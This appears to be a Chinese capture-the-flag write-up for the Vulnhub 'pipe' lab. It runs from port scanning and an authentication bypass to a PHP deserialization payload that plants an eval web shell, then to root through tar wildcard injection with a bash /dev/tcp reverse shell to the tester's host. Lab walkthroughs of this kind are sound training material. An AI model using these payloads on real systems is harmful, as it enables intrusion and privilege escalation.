【Vulnhub系列靶场】Vulnhub-pipe 靶场渗透

一、环境配置

1、解决IP扫描不到问题

2、打开虚拟机,并修改网络连接模式为【NAT】即可

二、信息收集

1、主机发现

1
nmap.exe -sn 192.168.31.*

image-20240213142147830

2、端口扫描

1、粗略快速扫描

1
nmap.exe -F 192.168.31.63

image-20240213142543946

2、精细化扫描

1
2
nmap.exe -sT --min-rate 10000 -p- 192.168.31.63
nmap.exe -sU --min-rate 10000 -p- 192.168.31.63

image-20240213153317946

image-20240213142452838

3、全扫描和漏洞扫描

1
2
nmap.exe -sT -sV -sC -O -p22,80,111 192.168.31.63
nmap.exe --script=vuln -p22,80,111 192.168.31.63

image-20240213143115920

22端口的ssh采用SSH-2协议的6.7p1版本,位于Debian 5操作系统上。80端口采用apache的http服务,标题是一个401未经许可的字样。111端口的是一个 RPC (远程过程调用)端口映射程序。

image-20240213145533030

似乎存CVE-2007-6750 漏洞

3、web目录扫描

1
dirsearch.cmd -u http://192.168.31.63 -x 404,403

image-20240213150031411

1
dirb http://192.168.31.63 -X .php,.html,.txt,.zip,.tar,.rar,.sql

image-20240213152016401

响应都是401

4、web框架识别

1
whatweb http://192.168.31.63

image-20240213150012747

三、获取shell立足点

1、敏感信息收集

1、这个网站访问就需要登录凭证

image-20240213152125418

2、pipe.jpg文件

查看images 目录

image-20240213150126935

将该文件下载下来,使用exiftool工具对图片分析

1
wget http://192.168.31.63/images/pipe.jpg

image-20240213152321299

并没有什么发现

2、尝试登录

采用bp抓包查看

image-20240213153158975

错误信息给出提供的账号或密码错误,另外说了一段您的浏览器不知道如何提供凭据

我们采用POST方式重新放包

image-20240213154344785

成功进来如下页面:

image-20240213154359939

下方有一个链接,在点击之后发生了请求

image-20240213155219397

抓包查看,疑似是一个反序列化的URL编码

image-20240213155327124

同时这里暴漏出来一个路径

image-20240213163740984

发现新的文件

image-20240213163815755

居然是一个php 的class类,可以进行日志文件的写入,我们正好配合反序列化漏洞来使用

3、获取shell立足点

经过尝试,根目录下的文件我们都需要登录凭证,我们将日志文件写在/var/www/html/images/shell.php 文件,内容为<?php eval($_POST[1]);?>

1
O:3:"Log":2:{s:8:"filename";s:30:"/var/www/html/images/shell.php";s:4:"data";s:24:"<?php eval($_POST[1]);?>";}

image-20240213162736989

为了方便,我们直接用蚁剑进行连接

image-20240213162502123

四、提权至root

1、信息收集

1、/etc/passwd文件:存在rene 用户

2、/home/rene目录:存在777 的文件夹

image-20240213165005507

image-20240213165123742

是一个.gz 文件疑似备份文件,我们通过http 下载到本地

1
dpkg -l #查看当前用户能使用的命令

image-20240213165233274

我们可以开启一个python2 的http服务,下载解压到指定目录

1
2
3
4
python -m SimpleHTTPServer 8080
wget http://192.168.31.63:8080/backup.tar.gz
tar -xvf backup.tar.gz
tar zxvf backup.tar.gz -C backup #backup目录要存在

image-20240213165555292

image-20240213165951153

上网查了一下:

1
2
3
4
sys-19858.BAK: 可能是一个 OpenPGP 密钥的备份文件。
OpenPGP(开放式PGP)是一种标准,用于加密和签名电子通信数据,以确保数据的机密性和完整性。PGP 代表“Pretty Good Privacy”(相当不错的隐私),是由 Phil Zimmermann 开发的一种加密软件。我们需要知道文件类型、加密方式,利用方式较难
sys-28346.BAK: 可能是 Dyalog APL 版本 43.-79 的备份文件
如果是 Dyalog APL 用户,可以还原到备份版本的环境,但我们并不是该用户,无法利用

3、/etc/crontab:计划任务

image-20240213173425533

会以root 权限执行两个.sh 脚本

image-20240213173454605

我们只能查看其中的/usr/bin/compress.sh 文件,tar 将/home/rene/bachup目录下的文件删除并又通过tar 命令进行了压缩

我们可以使用通配符进行提权

2、tar通配符提权

进入/home/rene/backup目录

1
2
3
4
echo "" > /home/rene/backup/--checkpoint=1
echo "" > /home/rene/backup/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.31.50/5555 0>&1" > /home/rene/backup/shell.sh
#这里最后一条在蚁剑中执行失败,我们可以切换到nc上执行

并在本地进行nc 监听5555端口

image-20240213181814188